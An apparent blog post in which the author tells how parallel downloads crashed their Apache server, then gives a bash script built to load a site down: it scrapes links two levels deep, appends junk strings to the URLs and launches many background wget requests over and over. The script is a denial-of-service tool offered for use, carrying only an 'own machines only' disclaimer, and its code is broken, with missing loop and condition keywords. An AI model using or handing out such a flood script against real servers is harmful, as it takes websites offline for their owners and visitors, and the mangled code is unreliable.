apache performance/DoS bash test

just had to download a bunch of files from a webpage. So I wrote a little script which does this for me:


for i in $(lynx -dump -listonly -auth=USER:PASS-ag “http://…….” | grep “http”); do
x=$(echo $i | grep “^http”);
if [ ${#x} -gt 0 ]; then
    wget ${i/http:\/\//http:\/\/USER:PASS@} -O ${i:60:8}
fi; done

maybe not the best but it works.
Using my new favorite I replace the fourth line with

    echo “wget ${i/http:\/\//http:\/\/USER:PASS@} -O ${i:60:8} &” | /bin/bash
resulting in a high speed download but after aprox. 150 files download just stopped
? whats happening, sometinhg wrong in my script, where is the error …..
After some minutes I found out that the webserver seems to be down. oooOps
That wasn’t my intention but ok. After an the webserver has restarted and I can continue to download the files I need. this time without ‘&’ 😉
Because I thought apache could handle such big amounts of connections at one time I modified my first script. Then tried to attack my own server.
I enden up with the script below, simple idea behind this to get all links from a webpage without outbound links. Then do the same for all links found in step 1.
Now I have a big list of links I iterate through and download the page using wget.
For the purpose of more traffic and more calculations needed on the target machine I call the webpage twice. First the original link and then the link with some random chars appended. 
e.g. index.php?page=home and index.php?page=homeΩ|∂‚¢[][|{|Ω©®∂
The last step is to start the downloading multiple times *evil
The result seems to be that while the script is runnning it seems to be impossible to completly load the webpage. Sometimes I get a timeout. Sometimes there seem to be a problem with the mysql Connection because apache tells me it cannot connect. 
This script is for educational purpose only. Only use it on your own machines.
Use it with care !!!
finally the script
#>./script.sh http://[www.MyOwnSite.com] 10 20
Call http://[www.My Own Site.com] and append the sensless string 10 times when downloading dummy & repeat everything 20 times 
for x in $(
for i in $(lynx -dump -listonly  $1); 
echo $i | grep “^http”
done | uniq)
for i in $(lynx -dump -listonly $x); 
link=$(echo $i | grep “^http”)
if [ ${#link} -gt 1 -a ${link:0:${#site}}==$site ]
count=$(( $count + 1 ))
for i in $(seq 1 $2)
list[$count]=”wget $link$long -O $count &”
count=$(( $count + 1 ))
list[$count]=”wget $link -O $count &”
for z in $(seq 1 $3)
for i in $(seq 1 $count)
echo ${list[i]} | /bin/bash
# it doesn’t work when you copy/paste this to bash script. This line ‘long=$long'{Ω∂‚¢[][{Ω©®∂” is the problem, just use your fingers

Leave a Reply